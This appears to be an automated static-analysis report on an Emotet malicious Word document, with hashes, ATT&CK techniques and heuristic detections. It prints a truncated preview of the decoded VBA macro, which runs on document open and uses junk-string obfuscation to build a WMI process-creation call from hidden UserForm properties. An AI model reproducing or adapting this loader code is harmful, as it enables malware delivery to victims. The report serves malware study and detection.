Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 aeafab31a2a1c91e…

MALICIOUS

Office (OLE)

229.1 KB Created: 2020-08-14 22:18:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 8e075e8dabb0fcbaf0b079dd0cd93ac4 SHA-1: 9be7a3aeed7251fb604f12fa5010fc59cd383e71 SHA-256: aeafab31a2a1c91e818aa056fdfd007370c93babd9f42fa546a1eeff0093c0a3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious activity. The ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-9343219-0', strongly suggesting the Emotet family. The macro's obfuscated nature and use of CreateObject point towards it downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9343219-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9343219-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8350 bytes
SHA-256: a41bede6b31c342f92c22747c23e2e7c6c77a42c803725a917c6179e5e099194
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Syz32yxjaumzwqa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Kh5zbq9jp9s38028.Wongpssw3b9zmwxbl8
End Sub


Attribute VB_Name = "Kh5zbq9jp9s38028"
Attribute VB_Base = "0{4B2EAC9D-446D-4E13-845E-F04CC2F608E9}{A40A686B-AC74-4D48-A9DF-F47139927C17}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Wongpssw3b9zmwxbl8()
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
Lup0_lap59t7j5v = Kh5zbq9jp9s38028.HelpContextId + 100
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
Sc5hjv7_zr0lm9 = ChrW(Lup0_lap59t7j5v + (100 + 35) / 9)
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
S3doaay565dt_0 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Sc5hjv7_zr0lm9 + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Kh5zbq9jp9s38028.Lh42hkl4epa24 + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
H2c5iznoueq2s_tav6 = Ftfpevoed3e5hi(S3doaay565dt_0)
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
Set Pmcnoh0luvts05t1k = CreateObject(H2c5iznoueq2s_tav6)
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
Bhh9p7weax6e31w8 = Kh5zbq9jp9s38028.Nftt_cfex1cp.ControlTipText
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
B0gza7w_37n3m = Pm3e9dr_n9ob_v8 + (H2c5iznoueq2s_tav6 + Sc5hjv7_zr0lm9 + Kh5zbq9jp9s38028.Tb5g8xrc2vn2c.ControlTipText + Bhh9p7weax6e31w8)
   W1a210cckazw389swn = 4
Do While W1a210cckazw389swn < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
W1a210cckazw389swn = W1a210cckazw389swn + 8: DoEvents
Loop
J_2f85v63pjoq1jm = B0gza7w_37n3m + Kh5zbq9jp9s38028.Lh42hkl4epa24
   W1a210cckazw389swn = 4
Do While W1a210ccka
... (truncated)

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